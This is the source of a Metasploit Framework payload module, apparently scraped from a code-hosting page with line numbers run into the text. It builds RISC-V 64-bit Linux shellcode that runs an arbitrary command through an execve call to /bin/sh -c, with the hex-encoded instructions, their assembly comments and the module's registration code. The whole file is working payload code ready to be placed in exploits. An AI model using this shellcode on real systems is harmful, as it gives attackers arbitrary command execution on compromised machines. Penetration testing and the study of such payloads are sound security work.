Path: blob/master/modules/payloads/singles/linux/riscv64le/exec.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 10078include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Execute Command',15'Description' => 'Execute an arbitrary command',16'Author' => [17'modexp', # cmd.s execve RISC-V 64-bit shellcode18'bcoles', # metasploit19],20'License' => BSD_LICENSE,21'Platform' => 'linux',22'Arch' => ARCH_RISCV64LE,23'References' => [24['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],25['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'],26]27)28)29register_options([30OptString.new('CMD', [ true, 'The command string to execute' ]),31])32end3334#35# Returns the command string to use for execution36#37def command_string38datastore['CMD'] || ''39end4041def generate(_opts = {})42shellcode =43[0xfc010113].pack('V*') + # addi sp,sp,-6444[0x0dd00893].pack('V*') + # li a7,22145[0x34399537].pack('V*') + # lui a0,0x3439946[0x7b75051b].pack('V*') + # addiw a0,a0,197547[0x00c51513].pack('V*') + # slli a0,a0,0xc48[0x34b50513].pack('V*') + # addi a0,a0,843 # 3439934b <__global_pointer$+0x343879a3>49[0x00d51513].pack('V*') + # slli a0,a0,0xd50[0x22f50513].pack('V*') + # addi a0,a0,55951[0x00a13023].pack('V*') + # sd a0,0(sp)52[0x00010513].pack('V*') + # mv a0,sp53[0x000065b7].pack('V*') + # lui a1,0x654[0x32d5859b].pack('V*') + # addiw a1,a1,81355[0x00b13423].pack('V*') + # sd a1,8(sp)56[0x00810593].pack('V*') + # addi a1,sp,857[0x00000617].pack('V*') + # auipc a2,0x058[0x02460613].pack('V*') + # addi a2,a2,36 # 100d4 <cmd>59[0x00a13823].pack('V*') + # sd a0,16(sp)60[0x00b13c23].pack('V*') + # sd a1,24(sp)61[0x02c13023].pack('V*') + # sd a2,32(sp)62[0x02013423].pack('V*') + # sd zero,40(sp)63[0x01010593].pack('V*') + # addi a1,sp,1664[0x00000613].pack('V*') + # li a2,065[0x00000073].pack('V*') + # ecall66command_string + "\x00"6768# align our shellcode to 4 bytes69shellcode += "\x00" while shellcode.bytesize % 4 != 07071super.to_s + shellcode72end73end747576